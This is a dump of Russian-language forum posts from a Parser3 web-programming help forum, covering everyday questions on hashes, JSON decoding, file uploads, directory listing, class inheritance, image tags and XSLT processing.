когда использовал $exception , не помню но вроде .comment, когда писал длинные запросы, получалось что до самой ошибки не доходило а писало только начальный запрос, а саму ошибку обрезало, хотя в некоторых случаях и сам запрос резало ).\
Но это так для себя обработка была, пользователям такое показывать нельзя+)"
"72571","попробуйте закомментировать SQL-запрос и посмотрите что она выдает..."
"72572","Парсер Parser/3.4.0 (compiled on i386-pc-win32)\
Ошибка Unhandled exception 0xC0000005 at 0x00404993 \
\
Код\
[code]\
$t_options[select из базы c полями option_name, option_value]\
$h_event_options[^t_event_options.hash[option_name][option_value][$.type[string]]]\
[/code]\
\
В случае, если полученная табличка не содержит ничего (NULL) в поле option_value, хэш создаётся, но обращение к $h_event_options.[$s_option_name] вызывает ошибку"
"72573","Описался я там - естественно должно быть\
$h_event_options[^t_options.hash[option_name][option_value][$.type[string]]]"
"72574","[code]\
^if(1){\
	$t_options[^table::create{option_name	option_value}]\
}{\
	^try{\
		^oSQL.void{DROP TABLE test}\
	}{\
		$exception.handled(1)\
	}\
	^oSQL.void{CREATE TABLE test ( option_name VARCHAR(31), option_value VARCHAR(31) )}\
	$t_options[^oSQL.table{SELECT option_name, option_value FROM test}]\
}\
$h_options[^t_options.hash[option_name][option_value][$.type[string]]]\
\
$s_option_name[asd]\
$h_options.[$s_option_name]\
\
done.\
[/code]\
\
exception не вижу ни при попытке работы с созданной пустой табличкой ни с получением данных от SQL сервера.\
\
нужно больше подробностей."
"72575","Очень странно. Ошибка была точно, весь код выкинул, оставил только тот, из-за которого она возникала.\
\
Сейчас проверил - всё нормально работает.\
\
Возможно, дело было в кэшировании получаемой таблицы. Сейчас уже не понять. Ну тогда если возникнет снова, попытаюсь поподробнее описать ситуацию."
"72576","0xC0000005 -- отстой и мы очень бы хотели это пофиксить, но без вашей помощи, увы, мы даже не представляем где это искать."
"72577","I use this form in Safari:\
\
	<form method=post enctype=\"multipart/form-data\">\
		<input type=file name=files[] multiple min=1 max=9>\
		<input type=submit>\
	</form>\
\
How can access the files in Parser?\
\
The only file i can access is $form:files[].name = The first one\
\
Sorry, no Russian keyboard on this computer."
"72579","This is for multiple file fields with the same name. I asked about selecting and uploading multiple files for one file field.\
\
Here:\
http://blog.observationpoint.org/post/169674727/multiple-file-upload-support-in-safari-4-public-beta"
"72580","Возможность HTML5 и ее поддержка в Сафари никак не меняет протокол HTTP, поэтому значение этого поля можно получить, как и ранее, через form:files. А вот писать имя поля в пхп-стиле (\"files[]\") в Парсере не нужно - у нас это реализовано гораздо элегантнее.\
\
p.s. Значения множества текстовых полей можно получить через form:tables. :)"
"72581","Please add version of Parser in docs that started supporting it. It is working on 3.4. but not on 3.2.1"
"72582","Скажите, а использование версии пятилетней давности (3.2.1) - это принципиальная позиция? :)"
"72583","It was compiled for not very supportive hosting that client liked for his own reasons when this version was new. Support gave me sql drivers and did something to make it work, so it's really painful to change something."
"72586","То, что нашёл на форуме - я так понял - для работы парсер -> JSON, \
а есть ли JSON - parser ?"
"72587","Правда это не очень оптимальный метод с точки зрения производительности, но другого пока нет. Насколько я знаю в планах есть добавление в Парсер нативного метода работы с JSON."
"72588","Простый front-end RPC aspell для tinymce.\
\
Для расскодировки данных использовал json.p от zhizhilkin\
\
[code]\
$input[^Json:decode1[$request:body]]\
[/code]\
\
но возврат данных через сервер я сделал \"руками\":\
\
[code]\
@outputTable[incorrectWords][locales]\
$renderedTable[]\
^if($incorrectWords is \"table\"){\
	$columns[^incorrectWords.columns[]]\
	$column(0)\
	^if(^columns.count[] > 0){$column[piece]}\
	^if(^incorrectWords.count[] > 0){\
		$renderedTable[^incorrectWords.menu{\"$incorrectWords.$column\"}{,}]\
	}\
}\
\
$error[^if(!def $self.error){null}{$self.error}]\
$result[{\"id\":null,\"result\":[$renderedTable],\"error\":$error}]\
[/code]"
"72589","Наконец-таки сделал то, что давно хотел - проект с открытым кодом для новичков в Parser и веб-технологиях вообще.\
\
Сайт проекта - www.ratingscript.ru\
\
Это скрипт для организации рейтинга сайтов. Там много косяков, но тянуть дальше некуда. Пусть это будет альфа-релиз )))\
\
PS Если кому будет интересно - я начал вести блог - www.corporate-solutions.ru"
"72590","Все-таки стоит вынести все классы (а еще темплейты и settings.cfg) из веб-пространства или, что хуже, более жестко прописывать deny для всех служебных файлов, чтобы не работали ссылки: http://demo.ratingscript.ru/templates/default/default.template и http://demo.ratingscript.ru/structure.sql и им подобные.\
\
И еще не совсем понял зачем хранить файлы в windows-1251, когда в браузер выдаем utf-8? Зачем нужно лишнее перекодирование?"
"72591","наткнулся на беду, причем не в первый раз, не могу понять от чего это зависит\
[code]\
	$userGroup[auth.user.groups]\
	^if(^userGroup.locate[name;agent]){\
[/code]\
Изначально было, но все равно. Причина может кроется в коде выше, но хотя бы в какую сторону смотреть.\
[code]\
	^if(^auth.user.groups.locate[name;agent]){\
[/code]"
"72592","так как у ^if есть два типа написания\
[code]^if(){yes}{no}\
^if(){yes;no} [/code]\
&nbsp;\
и из-за вставленных до этого внутри {} [code]&nbsp;[/code] интерпретатор думал, что это второй вид написания.\
хотя там в тексте еже просто ; была."
"72593","http://www.parser.ru/faq/errors/"
"72594","ну вообще-то он читался и не раз, но \
[code]^if(^auth.user.groups.locate[name;agent]){[/code]\
В приведенном мной коде, был всего один параметр, в круглых скобках, методом тыка было найдено что в фигурных скобках, точка запятая воспринимается как разделитель.\
Ключевое слово в факе\
[quote]Очень часто такая ошибка происходит, когда вы передаете в метод строку, содержащую спецсимволы,...[/quote]\
Я искал ошибку внутри круглых скобок, а она оказалась в фигурных."
"72595","Привет.\
\
Да, в .htaccess их нужно закрыть - пошел фиксить. По-поводу перекодирования, мне удобнее с win1251-файлами работать, т.к. символы в текстовых файлах будут только русские (комментарии) и английские.\
\
По желанию можно все конвертнуть )))"
"72597","... и у него не один, а три параметра: @if[condition;true_code;false_code], только для него четко заданы \"типы\" параметров, поэтому вызов записывается не ^if[cond;code;code], а ^if(cond){code}{code}, поскольку скобки в Парсере имеют совершенно другое значение, чем, скажем в Си или Паскале.\
\
p.s. http://www.parser.ru/docs/lang/params.htm"
"72598","Попробуйте:\
\
[code]$json[^file::load[text;http://ajax.googleapis.com/ajax/services/search/web?v=1.0&q=yandex]]\
^use[/../classes/json.p]\
$h[^Json:decode1[$json.text]]\
\
$json.text\
<hr/>\
^Json:show_hash[$h][/code]"
"72600","Очень простой вопрос, но не знаю как это воплотить на парсере. Короче, есть sections.cfg, таблица, в которой хранится, например, перечень рыбных и колбасных изделий: с названиями, ссылками. У колбасных изделий свой id (kb), а у рыбы - свой (rb). Как мне на одной html-странице отдельно показать и рыбные изделия под заголовком <h1> \"Рыба\", и колбасные под заголовком \"Колбаса\" с их перечнем?\
\
Вроде, очень просто, но никак не могу додуматься до того, как заставить парсер выводить строки с нужным мне id. Помогите, пожалуйста."
"72601","Скорее всего ^table.select тебя спасет."
"72603","Спасибо, ^table.select и вправду спас ;-)"
"72604","Только базовые вещи... Чтобы писать что-то сложнее - надо с другим типом мозга родиться :-)"
"72605","Можно даже не из-за скорости, а для само развития, т.к. эта функция будет востребована рано или поздно )"
"72606","Доброго времени суток уважаемые!\
Опираясь на эту тему:\
http://www.parser.ru/forum/?id=59625\
конкретно на пункт 4 темы:\
4) Возможно выполнение сразу нескольких запросов? \
[code]	^void:sql{\
		DELETE ... ^;\
		INSERT ... ^;\
	}\
[/code]\
Вот, что имею:\
Данный запрос выполняется на локальной машине с установленным денвером, НО выдает ошибку синтаксиса при выполнение на сервере хостера, в чем соль может быть?"
"72607","... делать это следует если вы четко понимаете зачем это необходимо для конкретной задачи [в подавляющем большинстве случаев это не нужно и даже опасно] и прочли как настроить строку соединения для multi_statements."
"72608","http://code.google.com/intl/ru/apis/customsearch/ Там есть и XML и CSV (TSV) варианты возврата значений.\
\
p.s. http://code.google.com/intl/ru/more/"
"72610","Или все-таки пересилить себя и найти причину проблем с классом Json.p - не такой уж там и сложный код."
"72611","Замените в классе метод decodeString на:\
[code]\
@decodeString[sQuote][sJson;sString;tMtc;hR]\
# найти неэкранированную закрывающую кавычку\
$tMtc[^self.sJson.match[\\${sQuote}(.*?[^^\\\\]?)\\$sQuote]]\
\
# если нет закрывашки - ошибка синтаксиса\
$sRemainder[^self.sJson.mid(^tMtc.1.length[] + 2)]\
$result[$tMtc.1]\
\
$self.sJson[$sRemainder] \
[/code]"
"72614","Может выложите пофиксенный класс json.p в примеры?"
"72615","Метод ^string:js-unescape[] не обрабатывает в нормальный вид строки\
[code]\\u003cb\\u003eYandex\\u003c/b\\u003e Russian Search Engine - Яндекс - http://yandex.ru/index_engl.html [/code]\
\
С ними как быть (\\uXXXX)?"
"72616","а я, например, даже не знал, что JS unescape может такое декодировать %-)\
не ткнёте пальцем, какой из ваших источников так эскейпит строки?\
\
данные функции (js-escape и js-unescape) мы добавляли для обменя с js, и в спецификации ECMAScript указано, что escape должен кодировать в '%'\
\
P.S. но вы можете предварительно сделать replace \\u на %u и решить вашу задачу."
"72617","... в трекер на странице проекта я о проблеме написал - если автор сочтет нужным - поправит."
"72618","Спасибо. Да, надо будет как-нибудь набраться смелости и попробовать."
"72619","В папке script лежат ещё папки, в которых находятся нужные файлы.\
\
[code]$sSrc[c:\\script]\
$tList[^file:list[$sSrc\\]]\
^tList.menu{\
   $tList2[^file:list[$sSrc\\$tList.name\\]]\
   ^tList2.menu{\
      $tList2.name<br />\
   }\
}[/code]\
\
Выводит несколько раз список файлов из корня веб-пространства. Как сделать, чтобы читалось с абсолютным путём?"
"72620","У меня есть подобный метод в  http://code.google.com/p/parser3-pf/source/browse/trunk/pf/io/pfOS.p\
[code]\
@walk[aPath;aVarName;aCode;aSeparator][lFiles]\
## Обходит дерево файлов начиная с aPath и выполняет для каждого найденного файла aCode.\
## Имя файла c путем попадает в переменную aFileName.\
## Файлы сортируются по именам.\
## Между вызовами aCode вставляется aSeparator.\
  ^pfAssert:isTrue(def $aVarName)[Не задано имя переменной для имени файлов.]\
  $aPath[^aPath.trim[right;/\\]]\
  $lFiles[^file:list[$aPath]]\
  ^lFiles.sort{$lFiles.name}[asc]\
  $result[^if($lFiles && ^aVarName.left(7) eq \"caller.\"){$aSeparator}^lFiles.menu{^process{^$caller.caller.$aVarName^[$aPath/$lFiles.name^]}$aCode^if(-d \"$aPath/$lFiles.name\"){^walk[$aPath/$lFiles.name;caller.$aVarName]{$aCode}[$aSeparator]}}[$aSeparator]]\
  ^if(^aVarName.left(7) ne \"caller.\"){$caller.$aVarName[]}   \
[/code]"
"72621","[code]^string:js-unescape[^content.match[(\\\\u)][gi]{%u}][/code]\
\
Но! Раз яваскрипт (начиная с ie6) прекрасно принимает приходящий от Гугла JSON, то, стало быть, и \\uXXXX вариант являетется допустимым?"
"72623","даже я этот walk сходу прочитать не смог.\
\
FileSystem:dirDelete или FileSystem:dirCopy из Lib.zip попроще будут для начинающего. imho."
"72625","Подскажите пожалуйста, как инициализировать класс FileSystem. В примерах почему-то мало написано про применение."
"72627","1. вы вроде хотели посмотреть код, как это делается\
2. его не надо инициализировать, он статический. просто вызывается. STFF"
"72628","Ну вот значит выполнилось это без ошибок\
[code]^FileSystem:dirCopy[c:\\script;c:\\script2;][/code]\
, но ничего не произошло из того, что ожидалось. :(\
Может в классе надо слэши на обратные слэши поменять?"
"72630","И так,\
[code]^FileSystem:dirCopy[\\script;\\script2;][/code]\
и так,\
[code]^FileSystem:dirCopy[/script;/script2;][/code]\
— ничего не происходит.\
Оно вообще может копировать папку вне веб-пространства?"
"72631","а вообще вы вроде хотели код как обходить дерево каталогов."
"72632","да - я теперь вспомнил про себя что ваш метод не работает рекурсивно.\
но когда-нибудь он был для меня вдохновлением чтоб сделать тот же самое рекурсивно:\
\
[code]\
###################################################################################################\
#loads directory tree into hash\
#inspired by @loadDirectoryData[] misha's from AutoIndex class\
#http://www.parser.ru/examples/autoindex/\
@_loadDirectoryTree[sDir;hExclude][locals]\
$result[^hash::create[]]\
$tList[^file:list[$sDir]]\
$tDirectories[^table::create{name}]\
$tList[^tList.select(-d \"${sDir}$tList.name/\")]\
$tList[^tList.select(!$hExclude.[^pfString:right[${sDir}$tList.name/;$self.options.rootDir]])]\
^tList.menu{\
	$thisDir[${sDir}$tList.name]\
	^if(-d $thisDir){\
		^tDirectories.append{$thisDir}\
	}\
}\
^tDirectories.menu{\
	$result.[$tDirectories.name/][\
		^if(^tDirectories.count[] > 0){\
			^_loadDirectoryTree[$tDirectories.name/;$hExclude]\
		}\
	]\
}\
[/code]"
"72633","Например, если захочется выполнить копирование файлов вне веб-пространства, или просто документ открыть. Или это невозможно? Или возможно, но только если использовать Парсер в качестве интерпретатора скриптов?"
"72635","...ведь было бы всё просто, если бы можно было взять и написать путь к файлу или папки от корня диска. Так всё же приходится как-то изощряться, чтобы добиться цели. Ну то, что вы предлагаете \"../../\" это же будет опять же относительный путь, а значит я останусь внутри веб-пространства."
"72637","Я вообще запутался честно говоря. Я повторюсь: возможно ли с помощью Парсера обращаться к документам, находящимся вне веб-пространства?"
"72639","ок. ну значит мне не хватает мудрости, чтобы понять как это сделать. и никто толком объяснять не хочет."
"72640","... называется [url=http://webnewage.org/2010/03/28/fdd-forum-driven-development/]Forum-driven development[/url]. Печально.\
\
Пердположим, что document-root у нас /path/to/site/ (все пути для nix-систем)\
Для того чтобы добраться до корня (/) надо написать /../../../\
для того чтобы добраться до /another_path/to/site2 надо написать /../../../another_path/to/site2\
\
Все это _должен знать_ любой разработчик, который понимает, что такое файловая система."
"72641","согласно моему опыту создания веб сайтов, работать с файлами относительно document_root приходится существенно чаще.\
\
разработчику (который очень часто работает на виртуальном сервере и у которого пути от корня могут меняться) не приходится париться с префиксами для того, чтобы читать файлы в веб пространстве.\
кроме этого, для разработчика пути к файлам на диске и пути, которые он должен выдавать браузеру в разных src|href получаются равнозначны, что тоже удобно.\
\
лично мне это гораздо удобнее, хотя да, иногда (достаточно редко) бывают нужны абсолютные пути от корня диска (они указываются к sql драйверам, к файлам с кодировками). когда они нужны можно самому сформировать относительный путь, который приведёт куда угодно в рамках дого-же \"диска\", или написать метод, который будет строить нужный относительный путь (у Sumo в pf кажется есть, мне это автоматическое построение относительного пути требовалось один раз в жизни, в _test.html)"
"72642","Тут несколько другая ситуация:\
Парсерный сайт лежит здесь: C:\\apache\\localhost\\www\\\
А документы, которые нужно обрабатывать могут находиться например C:\\script\\ или даже на другом компе \\\\comp2\\c\\script\\"
"72643","... а вот первый случай вполне реализуем. Если, конечно, Вы начнете читать то, что Вам пишут. :("
"72645","Возможно ли средствами parser сделать в загрузке файлов <input type=\"file\"...> фильтр по расширениям (например чтобы загружались только txt и doc файлы)?"
"72646","Поэтому отфильтровать можно. Другое дело, что расширение ничего не говорит о том, что за информация в файле содержится."
"72649","Суть в том, что я брал из базы кучу дубликатов записей (get_options), а потом отсеивал нужные мне записи уже средствами парсера (get_event_options), формируя новую табличку. \
У меня пример был более сложный, тут он упрощён, так что может показаться слегка надуманным. \
\
@get_options[h_params]\
$h_params[^hash::create[$h_params]]\
$result[^oSql.table{\
	SELECT \
		option_id,\
		option_name,\
		option_value,\
		option_event_id\
	FROM \
		events_options\
	^if(def $h_params.where){\
		WHERE $h_params.where\
	}\
}]\
\
@get_event_options[i_event_id][locals]\
$t_options[^get_options[\
	$.where[\
		... куча условий, которые плодили дубликаты...\
	]\
	$.order_by[option_event_id DESC, option_id ASC]\
]]\
$result[^table::create{option_name	option_value}]\
^t_options.menu{\
	^if($t_options.option_event_id == ^i_event_id.int(0) || ($t_options.option_event_id == 0 && !^result.locate($result.option_name eq $t_options.option_name))){\
		^result.append{$t_options.option_name	$t_options.option_value}\
	}\
}\
\
В итоге у меня формировалась примерно такая табличка\
\
option_name	option_value\
title_comment	Задать вопрос\
title_comment_text	Вопрос\
title_comment_name	Ваше имя\
title_comment_city	Город\
comments_description\
\
Понятно, что параметр comments_description был не задан, но почему то не создавался tab с пустым значением параметра.\
\
\
@page[]\
$t_options[^get_event_options[$t_event.event_id]]\
$h_options[^t_options.hash[option_name][option_value][$.type[string]]]\
^comments[$h_options]\
\
@comments[h_options]\
^if(def $h_options.comments_description){\
	$h_options.[comments_description]\
}"
"72650","Пытался воссоздать ошибку - http://www.parser.ru/forum/?id=72572\
\
Суть в том, что я брал из базы кучу дубликатов записей (get_options), а потом отсеивал нужные мне записи уже средствами парсера (get_event_options), формируя новую табличку. \
У меня пример был более сложный, тут он упрощён, так что может показаться слегка надуманным. \
\
[code]\
@get_options[h_params]\
$h_params[^hash::create[$h_params]]\
$result[^oSql.table{\
	SELECT \
		option_id,\
		option_name,\
		option_value,\
		option_event_id\
	FROM \
		events_options\
	^if(def $h_params.where){\
		WHERE $h_params.where\
	}\
}]\
\
@get_event_options[i_event_id][locals]\
$t_options[^get_options[\
	$.where[\
		... куча условий, которые плодили дубликаты...\
	]\
	$.order_by[option_event_id DESC, option_id ASC]\
]]\
$result[^table::create{option_name	option_value}]\
^t_options.menu{\
	^if($t_options.option_event_id == ^i_event_id.int(0) || ($t_options.option_event_id == 0 && !^result.locate($result.option_name eq $t_options.option_name))){\
		^result.append{$t_options.option_name	$t_options.option_value}\
	}\
}\
[/code]\
\
В итоге у меня формировалась примерно такая табличка\
\
[code]\
option_name	option_value\
title_comment	Задать вопрос\
title_comment_text	Вопрос\
title_comment_name	Ваше имя\
title_comment_city	Город\
comments_description\
[/code]\
\
Понятно, что значение параметра comments_description отсутствовало, но почему то не создавался tab с пустым значением. Из-за этого парсер падал. \
Если взять и принудительно добавить tab в эту строку, то всё прекрасно работало.\
\
[code]\
@page[]\
$t_options[^get_event_options[$t_event.event_id]]\
$h_options[^t_options.hash[option_name][option_value][$.type[string]]]\
^comments[$h_options]\
\
@comments[h_options]\
^if(def $h_options.comments_description){\
	$h_options.[comments_description]\
}\
[/code]"
"72651","для вашего случая workaround такой: в get_event_options измените последовательность столбцов в result, чтобы value был до name.\
\
баг в коде вижу. проблема именно с $.type[string], причем если в value пусто и после него в этой строке больше нет значений."
"72652","Файл для тестирования корректности установки парсер, выдает:\
/lib32/libgcc_s.so.1: version `GCC_4.2.0' not found (required by $sqldriversdir/libparser3mysql.so) \
$sqldriversdir/libparser3mysql.so"
"72653","И не забывайте указывать версию и тип ОС и версию Парсера (с указанием операционной системы, конечно)."
"72654","Операционная система: Linux 2.6.30.10;\
Парсер: parser3_4_0_debian5_cgi_xml;\
Драйверы для MySQL установлены;\
От сюда вопрос /lib32/libgcc_s.so.1 необходим и где его взять?"
"72655","А Linux-то какой (название дистрибутива) на сервере стоит?\
\
p.s. Если на сервере есть ssh, то не сложно собрать Парсер под конкретную систему."
"72656","cat/proc/version -> gcc version 4.1.2 (Gentoo 4.1.2 p1.1).\
cat /etc/*release* -> Gentoo Base System release 1.12.11.1\
\
> Если на сервере есть ssh, то не сложно собрать Парсер под конкретную систему.\
\
Если несложно, можно поподробнее."
"72657","Для упрощения сборки в папке с исходниками есть скрипты buildall-*, которые подкачивают и собирают все, что необходимо.\
\
p.s. Понятно, что описании работы в командной строке и использование ssh'а выходит за рамки данного форума. Предполагается, что для разработчика это не должно быть проблемой. :)"
"72658","как проверить включён ли у пользователя javascript или нет? на парсере.."
"72659","Можете проверить только броузером и передать результат парсеру."
"72660","спасибо. жалко."
"72661","Просто такова архитектура веба - серверу доступны только те данные, которые клиент передает на сервер. Учитывая, что клиент может использовать бесконечное множество языков, библиотек и технологий, то не стоит ожидать, что информация о них будет приходить на сервер с каждым запросом (да и не нужно это серверу для выполнения своих функций)."
"72662","При переносе сайта на новый хостинг не работает сайт. Из-за ошибки в парсере. Сможет кто помочь?"
"72664","Как не специалист я не смогу подробно описать проблему.\
Как предложение, могу предоставить доступ к фтп сайта для исправления. Усилия оплачу."
"72665","Никак.\
\
Если не секрет, расскажите, зачем это?"
"72666","Возможно ли в парсере динамическое создание страниц? и если возможно, то как? (т.е. можно ли динамически писать код страниц?)"
"72668","Динамически писать код страниц (переписывать, например, код form.p)"
"72669","Переписывать динамически классы у вас не получиться но можно задать условия if, switch. По которым будут вызываться разные варианты.\
Как тут уже писалось, лучше не менять чей-то класс, а наследовать его в своем классе и переопределять в нем нужный вам функционал."
"72670","[quot]Parser именно тем и хорош, что позволяет простым смертным создавать и поддерживать сложные динамические сайты без больших затрат времени.[/quot]"
"72671","Я так понимаю, что Вы придумываете какую-то сильно вычурную схему работы кода. Может просто опишите проблему и как вы видите ее решение? Почти уверен, что никакого \"динамического\" программирования не понадобится, а все решится простым наследованием."
"72672","Всем привет, вчера начал делать уроки из файла parser3.3.chm... столкнулся со следующей проблемой... faq читал, честно\
\
в общем, в том месте, где идет определение какие ячейки проставлять\
\
[code]@navigation_cell[] \
$cell_width[^eval(100\\$sections)%] \
^if($sections.uri eq $request:uri){ \
<td width=\"$cell_width\" align=\"center\" bgcolor=\"#A2D0F2\"> \
<nobr>$sections.name</nobr> \
</td> \
}{ \
<td width=\"$cell_width\" align=\"center\"> \
<a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
</td> \
} [/code]\
\
у меня всегда выводит ячейки с белым фоном и со ссылкой, то есть условие неверно... пробовал менять eq на ne, работает первое выражение, ячейки подкрашиваются голубым... \
\
почему $section.uri != $request:uri??\
\
спасибо!"
"72673","самый примитивный способ проверки: напишите перед этим условием буквально следующее:\
[code]\
=$sections.uri=$request:uri=\
[/code]\
\
и, я надеюсь, сами всё поймёте."
"72674","ну я примерно тоже самое и сделал )) \
\
[code]@info_uri[]\
$req_uri[request:uri = $request:uri <br />]\
$sec_uri[sections.uri = $sections.uri]\
$req_uri\
$sec_uri[/code]\
\
sections.uri всегда = /\
request:uri меняется в зависимости от страницы"
"72675","всё, понял! спасибо за отзывчивость ;)"
"72676","В хелпе написано:\
...можно писать ^include[…], вместо громоздкого ^MAIN:include[…]...\
\
Это очень удобно. Хочу спросить возможно ли таким же образом обращаться к объектам объявленным в auto.p из другого класса не указывая \"^MAIN\"?\
\
Пример:\
[i]auto.p[/i]\
[code]@main[]\
$core[^Core::create[]]\
^body[][/code]\
\
[i]другой класс[/i]\
[code]$ready[^MAIN:core.get-treeModules[]][/code]"
"72678","в том то и дело что пробовал :)\
не получается, ошибка.\
1. [code]$ready[^MAIN:core.get-treeModules[]][/code] - работает\
2. [code]$ready[^core.get-treeModules[]][/code] - не работает\
можно ли каким-то образом упростить второй вариант до первого, к примеру по аналогии с примером из руководства?"
"72679","методы, находящиеся в MAIN являются операторами и доступны из других классов без префикса.\
\
переменные, находящиеся в MAIN, без префикса MAIN из других классов не видны."
"72680","... забыть о глобальных переменных.\
\
some.p\
[code]\
@CLASS\
some\
\
@create[aCore]\
  $_core[$aCore]\
\
@method[aParam]\
  ^_core.megaMethod[$aParam]\
[/code]\
\
auto.p (или где-то еще...)\
[code]\
  $core[^megaCoreClass::create[]]\
  $sm[^some::create[$core]]\
  ^sm.method[Вау!]\
[/code]\
\
Поверьте, это гораздо надежнее, удобнее и гибче."
"72681","Доброго всем времени суток!\
Может мой вопрос не совсем по теме парсера, но так как сайт на парсере,  то и спрашиваю тут…\
Сразу оговорюсь готовый форум которых сейчас много использовать не захотел по некоторым причинам:\
Сайт на парсере , а все форумы на php проблемы с интеграцией форума с сайтом (необходима  общая авторизация),  большинство  очень громоздкие  для моих целей это всё лишнее…\
В итоге был написан простейший форум, но возник вопрос , как проверять и обрабатывать строку которая приходит от пользователя, необходимо обеспечить безопасность, что парсер по умолчанию делает, но и надо чтобы текст записывался в Бд, в том виде в которым его вводит пользователь? Подключать  fckeditor редактор, не хочется, сомневаюсь я что он безопасный ему в\
untaint, taint. приходиться помечать весе данные как проверенные, а в этих данных если пользователь скопировал кусок текста c другой web странички и вставил, чёрт ногу сломит в тегах…\
Смайлики не нужны[b] нужен [/b][i]простейший[/i] [quote]функционал[/quote], как на этом форуме например"
"72682","на данный момент я смотрю в сторону регулярных выражений, подскажите в правильном направлении смотрю ?"
"72683","Для форумов проще всего использовать bbCode, который можно расширить по своему усмотрению. Есть готовые простенькие редакторы на JS (http://php-login-script.com/bbdemo.php например).\
\
Разбирать, да - регулярками. Если не ошибаюсь, тут в примерах есть как раз разбор bbcode.\
\
Также есть еще markdown, textile, wiki-разметка, но нужно ли это для вашего форума - решать вам (придется написать реализации соотвествующих разметок на парсере)."
"72684","@main[]\
^c2:operate[]\
\
@CLASS\
c1\
@operate[]\
^m1[]\
@m1[]\
m1c1\
\
@CLASS\
c2\
@BASE\
c1\
@m1[]\
m1c2\
\
Ожидаю \"m1c2\", а выводится \"m1c1\", т.е. не получается переопределить метод в классе-потомке"
"72685","Буквально только что сделал копи-паст вашего кода и получил \"m1c2\". Проверял на 3.4.1beta, но это должно работать и на 3.4.0, да и на более ранних версиях тоже."
"72687","Не могу, правда, понять, какая, скорее всего 3.3.0 - уже есть \"свойства\", но версию парсера еще выдавать не может."
"72688","И на будущее, лучше всегда смотреть номер версии до того, как задавать вопрос. И учитывать, что никакой особенной поддержки предыдущих версий нет - переходите на новые, благо в Парсере это совсем не сложно."
"72689","Но мне все-таки странно, неужели до 3.4 объектная модель была НАСТОЛЬКО урезанной"
"72690","... а посмотреть [url=http://www.parser.ru/news/]новость[/url] про версию 3.4.0 в которой есть вполне четкое описание произошедшего:\
\"Исправлена ошибка, из-за которой некорректно работало перекрытие свойств при статических вызовах.\""
"72691","В XHTML же нет такого атрибута?\
\
Я пока сделал велосипед в виде метода, который реплейсом убирает из результата строку 'border=\"0\"', но это же ж костыль или я что-то забыл?\
\
[i]Parser 3.2.2.[/i]"
"72693","Ага. Так и делаю.\
Спасибо."
"72696","Вроде нет, не работает. Ну то есть работает, как ожидается — border=\"\". Атрибут-то остаётся.\
\
Я может неправильно думаю, но вот я думаю, что априори должны рендериться атрибуты src, width и height. Остальные уже на плечи кодера.\
\
Не?"
"72698","... так что пока доступно тем, кто пользуется HEAD-версией.\
\
http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/classes/image.C"
"72699","Ну то есть на самом деле интересно."
"72700","... и в w3c, это поняли, когда фактически забросили xhtml и сделали выбор в пользу html5. Но это не основная причина. Первые версии Парсера появились, когда в ходу был html4 (3.2) и для него это было важно. А сейчас сделали некий воркэраунд, который, с одной стороны, не ломает старый код, а с другой дает возможность исключить атрибут border, если для кого-то это важно."
"72701","PS. Я вот с 3.1.4 начинал :)"
"72702","[code]\
@img[src;param][oImage]\
^if($src is \"string\"){$oImage[^image::measure[$src]]}\
^if($src is \"image\"){$oImage[$src]}\
^if(!def $oImage){^throw[noImage;Image not specified]}\
^if(!($param is \"hash\")){$param[^hash::create[]]}\
^if(!^param.contains[alt]){^param.add[$.alt[^file:justname[$oImage.src]]]}\
$result[<img src=\"$oImage.src\" width=\"$oImage.width\" height=\"$oImage.height\" ^param.foreach[key;value]{$key=\"$value\"}{ }/>]\
[/code]"
"72703","Ну да да. Типа такого. Юзаю давным давно."
"72704","http://www.joelonsoftware.com/items/2008/03/17.html"
"72705","Возник вопрос - XML файл весит 4500 Kb потому что там текста уйма. понятно, что пользователю не надо все стразу, главу за главой он бы почитал, но не все же грузить. весь документ удалось отпарсить с помощью XSL a по частям, используя xnode - никак. но мне очень важно использование XLS! как быть? вот обработчик XLS\
\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>   <!-- DWXMLSource=\"bible.xml\" -->\
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\
\
<xsl:template match=\"body\"> \
    <html> \
        <head><title><xsl:value-of select=\"book-title\" /></title>\
        <link href=\"bible.css\" rel=\"stylesheet\" type=\"text/css\" />\
        </head> \
        <body><xsl:apply-templates select=\"testament\" /></body> \
    </html> \
</xsl:template> \
\
<xsl:template match=\"testament\"> \
        <xsl:apply-templates select=\"title\" />\
        <xsl:apply-templates select=\"book\" />\
</xsl:template> \
<xsl:template match=\"book\"> \
        <table cellpadding=\"0\" cellspacing=\"0\"><tr><td class=\"book\" colspan=\"2\"><xsl:apply-templates select=\"title\" /></td></tr>\
        <xsl:apply-templates select=\"chapter\" /></table>\
</xsl:template> \
\
<xsl:template match=\"chapter\"> \
      <tr> <td class=\"chapter_head\"> <xsl:apply-templates select=\"title\" /></td><td class=\"text\"><xsl:apply-templates select=\"p\" /></td></tr>\
</xsl:template> \
\
<xsl:template match=\"title\"> \
    <h1 ><xsl:value-of select=\".\" /></h1> \
</xsl:template> \
<xsl:template match=\"p\"> \
    <p><xsl:value-of select=\".\" /></p> \
</xsl:template> \
</xsl:stylesheet>\
\
[/code]\
вот пример разметки xml\
\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<body>\
<book-title>БИБЛИЯ</book-title>\
<testament>\
<title>Ветхий Завет</title>\
<book>\
<title>Первая книга Моисеева. БЫТИЕ</title>\
<chapter>\
<title>1</title>\
	<p>1 В начале сотворил Бог небо и землю.</p>\
	<p>2 Земля же была безвидна и пуста, и тьма над бездною, и Дух Божий носился над водою.</p>\
...\
</chapter>\
</book>\
</testament>\
</body>\
[/code]\
\
и вот вызов этого всего\
\
[code]# входной xdoc документ \
$sourceDoc[^xdoc::load[/bible/${form:book}.xml]] \
\
# преобразование xdoc документа шаблоном article.xsl \
$transformedDoc[^sourceDoc.transform[/bible/bible.xsl]] \
\
# выдача результата в HTML виде \
^transformedDoc.string[ $.method[html] ] \
[/code]\
\
я пытался использовать select, но тогда не вызвать ^sourceDoc.transform\
\
подскажите как бы мне вытаскивать по главе или даже по стиху, и насколько ресурсоемко быдет прорабатывать парсеру документ весящий 4'529'513 b?"
"72706","[quote]\
насколько ресурсоемко быдет прорабатывать парсеру документ весящий 4'529'513 b?\
[/quote]\
\
забудьте. парсер не справится."
